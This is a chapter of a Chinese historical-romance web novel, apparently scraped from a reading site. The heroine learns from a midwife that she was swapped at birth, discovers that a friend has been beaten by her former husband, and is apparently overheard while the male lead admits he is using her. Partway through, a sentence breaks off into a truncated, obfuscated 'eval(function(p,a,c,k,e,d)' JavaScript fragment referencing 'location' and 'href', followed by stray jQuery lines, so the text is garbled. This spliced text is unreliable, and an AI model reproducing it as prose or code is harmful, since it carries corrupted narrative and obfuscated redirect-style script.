29. 被她发现

手放开,江洛桥放眼望去,尸身乱堆,脚下还躺着一个,双目圆瞪紧盯着她。


她吓一跳,不由得抓住裴恪手臂往后退一步。


“这……这是你杀的?”


裴恪面无表情拒不承认:“尤七杀的。”


尤七:“……”


好家伙,江洛桥看着尤七不免带上些钦佩之意,原来他有这样的身手,想来从前受命藏拙也是为免横生事端。


裴恪弱,京中人自然不会把他放在眼里,如此行事就方便了,江洛桥忽地惊觉自己被他的外相欺骗了。


思及此前种种,才发现这哪是什么深陷沼泽的弱男子,分明是目标明确胸有成算。


他要做的事,只怕没那么简单。


“你惹了仇家了?”裴恪出言,将她的思绪拉回。


“我不知。”江洛桥摇头。


她才来京中不久,能惹上什么仇家,要么是卢瑶贞的仇家,要么就是她追查祖父失踪之事有人害怕了。


“近来少出门,当心些。”


他见她出门不喜带婢女,身后空无一人,还是没忍住叮嘱。


江洛桥一听,笑了,摆出一副“孺子可教”的模样。


“裴恪,你变了,你会关心我了。”


裴恪还未起反应,尤七倒是一激灵,踮起一只脚尖,竖起耳朵听墙脚。


原本他也恨极了这卢二娘子为了哄那国公府世子开心对他家郎君百般羞辱,可不知何时娘子好似幡然醒悟,三番四次舍命相救,人心是肉做的,如何能不动容?


郎君心动是真,纠结是真,痛苦也是真,可尤七跟在郎君身边许久,撇去种种,总归是希望有一知心人能时刻伴郎君左右,不至于逢年过节别家团圆之时只能望月独饮。


若卢二娘子率先出阵捅破了窗户纸,二人顺势而合,那真是了却了他一桩心愿了。


可正当他暗暗欣喜时,江洛桥却笑开了颜,对裴恪赞道:“你把我当朋友了。”


尤七一听险些一踉跄摔到河里去,暗暗骂两人都是木头,真是让他操碎了心。


他这头还在想着,裴恪已下了令让他送江洛桥回府。


正至戌时,烟雨蒙蒙,笼罩了四方宅院,街上行人小贩皆已躲回家中,只余屋檐下一只湿漉漉的流浪狗蜷缩成一团。


这雨一夜未停,午膳后常烟雨便央人请她过去,说是有急事。


青榕甩了甩油纸伞上的雨水,护着江洛桥踏进云客轩。


“烟雨,这么着急找我过来,发生何事了?”


常烟雨引她到雅间,在门口张望着关了门。


“你让我找的人,找到了。”


便见一老妇人从里间出来,抬头看了两眼,唯唯诺诺不敢上前来。


江洛桥向常烟雨望去,意识到那是何人,挺直了胸膛正坐主位。


“报上名来。”


“民妇邹引娘,是为安国公夫人接生的稳婆。”


邹引娘跪在前方,认出了那是国公府的二娘子,皲裂的双手顿时无处安放,见江洛桥面起怒色,茶盏随之从她耳边飞过,砸在了身后的墙上。


“邹氏,你好大的胆子!”


碎裂声使她身躯一震,捂住了右耳,当即便趴下磕头。


“二娘子,让你与家人离散多年实非我本愿,国公夫人之命我不敢不从啊。”


江洛桥见诈出了隐情,心中暗喜又不免紧张,面上仍是威严之色。


“那便国公夫人生产那日前因后果给我一一说来。”


“那日夫人说是遇上山匪惊了胎,匆匆抬进我家的医馆,我便如往常一样接生,可谁知那竟是个死胎!”


她细细想起当夜的情形,是个夏夜,无风无雨,本是再寻常不过了,岂料她如今想起还深觉胆寒。


“那时我阿娘在隔间替一妇人接生,也是个早产的,夫人听闻是个双生女,便以身份作压,让我二人把那死胎换了其中一女。”


江洛桥听着,已然透心凉。


所以娄氏说自己乃母亲闺友,又说母亲自愿将一女赠予,都是骗她的,不过为了一己私欲让一家人生生分离,还将妹妹教成了这娇纵蛮横的模样。


娄氏!


她一拳砸在桌上,目中寒光渗入邹引娘的骨髓:“所以,从始至终,那妇人都不知她还有一女?”


“正是。”


邹引娘头埋下,心中直打鼓,见江洛桥走近,本能地捂住了右耳,却并未有痛感,而听闻面前人说:“我会替你安排住处,你若敢乱跑,不消得我杀你,安国公夫人便先要了你的命,你可知晓?”


她捂嘴瞪着眼珠子着急忙慌地点头,那事之后,母亲很快便病逝了,她一个人东逃西窜捡了条命苟活下来,左耳却再也听不到任何了。


“民妇明白,一切听二娘子差遣。”


常烟雨命人将人带了下去,转头见江洛桥发呆,还是问她:“定瑜,你打算如何做?”


“她养育了我这么多年,可正因为是她,我才与生身父母分离多年,若非我起了疑,恐这辈子都被蒙在鼓里。”


“我……我也不知如何是好。”


江洛桥着实是乱了思绪,她不是卢瑶贞,并无这些年在安国公府的记忆,虽是恼恨娄氏,却也不知是否该替妹妹做决定。


若父亲母亲知晓此事,又是否会不顾一切将妹妹带回家呢?


常烟雨知道她一时不能接受,把手搭在她肩上以示安慰,并未劝她做决定,只是分析了当下的情形。


“你别着急,此事她还以为瞒的好呢,如今你既已知晓,主动权便在你手里,是走是留,皆由你说了算,想好了再说。”


说得不错,江洛桥也沉下心来,娄氏明知她非卢瑶贞而编造谎言来欺骗她,其中定有更大的阴谋,况且祖父还未知下落,此时断不是摊牌的好时机。


细想罢,她攀上常烟雨的手腕,岂料对方闷声叫疼,把手抽了回去。


她把衣袖一拉,竟是一片淤青。


“你这手怎么了?”


“不小心摔了。”


常烟雨垂眸,又欲把手抽回,这次江洛桥使了力,再细看伤痕。


“不对,你这是被打了,谁欺负你了?”见常烟雨支支吾吾,她板下脸来,“你今日不说清楚我就不走了。”


“是吕旭。”常烟雨松了口,“他昨日来找我求和,我不愿,推拒之下便……”


“他还有脸来找你?”


思及常烟雨


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15114639|161097||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


从前身上的伤,如今已好得差不多了,可江洛桥知晓,心中的伤是还在的。


不过江洛桥仍是不放心,又多加叮嘱了一句:“你万不可答应他。”


自古女子受教在家从父出嫁从夫,被困在深宅后院中,未见过江川四海大漠孤烟,因而总把自己的一辈子寄托在郎君身上,以为讨好了夫君便此生安恙,可别人给得了自然也能收得回。


江洛桥时常自感庆幸,祖父从不因她是女子而要求她静守闺阁,带她游历过江湖四方也带她体验过底层疾苦,因而她想得明白,可不知常烟雨能否想明白。


好在常烟雨亦非任人摆布的木偶,她的眼中映起从前挨打之时,已不再一味恐惧,而多了些拂去过往的勇气。


“你放心,从前任他打骂的日子,我决计不想再过了。”


见她这般,江洛桥也就放心了许多,心中暗想这吕旭也该收拾收拾了,也许只有他遭了报应,烟雨才能真正走出来。


随后江洛桥并未久留,冒着雨回了趟安国公府,小丫鬟碧榆已将画包得严严实实了。


江洛桥会心一笑,马车转了向,往裴恪的私宅去了。


裴恪私宅处,尤七收了伞,拍拍身上的雨珠进了屋。


“郎君,小九来了信,说卢二娘子正午便拿了《腊八夜宴图》,只是匆匆出了门,至今未归。”


“嗯。”


裴恪提笔作画并未抬头,只是画了两笔仍是不满意,又将宣纸揉成一团丢在一旁,可见心烦意乱。


他见尤七杵着未动,便说道:“有话便说。”


尤七看了眼书案旁的一堆废纸,还是多嘴了两句:“您分明有千百种方法拿到此图,为何偏偏要利用卢二娘子?属下不懂,还请郎君明示。”


“尤七,你是向着谁的?”


此话有劝解之意裴恪听出来了,他随即目中寒光一绽,手中的笔直冲尤七而去。


尤七单手将沾了墨的笔截止在眼前,笔头因他用力捏紧滴下墨汁,手里也是一片乌黑。


他放下笔抬手作揖:“自然是向着您的。”


裴恪嫌他多嘴。


“郎君您做什么都是对的,可属下知,自您得了腿疾,唯卢二娘子对您好,唯卢二娘子愿为您豁出性命。”


他也并非为卢二娘子说话,只是若被其发现,二人势必闹开,只担心郎君会后悔。


可裴恪沉默,犀利的眼神投到他身上,咬牙切齿。


“所以,从前所做之事,便可一笔勾销了?”


“他从前是如何对我的想必你亦知晓,她想伤我便要双手奉上,她给我愈伤我便要感恩戴德了?”


这还不够,裴恪又向他而去,强行将他藏着的药膏取出来,放至眼前端详半晌,发了狠地尽数扔在地上。


瓶身碎裂,膏体滚到尤七脚边,沾上了他鞋底的污泥。


这下尤七不敢再驳:“是属下愚钝,请郎君责罚。”


裴恪沉下脸,背过身,让他下去。


可尤七转身时,整个人如雷劈一般定住,有一瞬间感到窒息。他回头看了裴恪一眼,轻轻唤了一声。


“卢二娘子。”


裴恪双眸瞪起,袖中交叠的双手中,把手指捏得发青。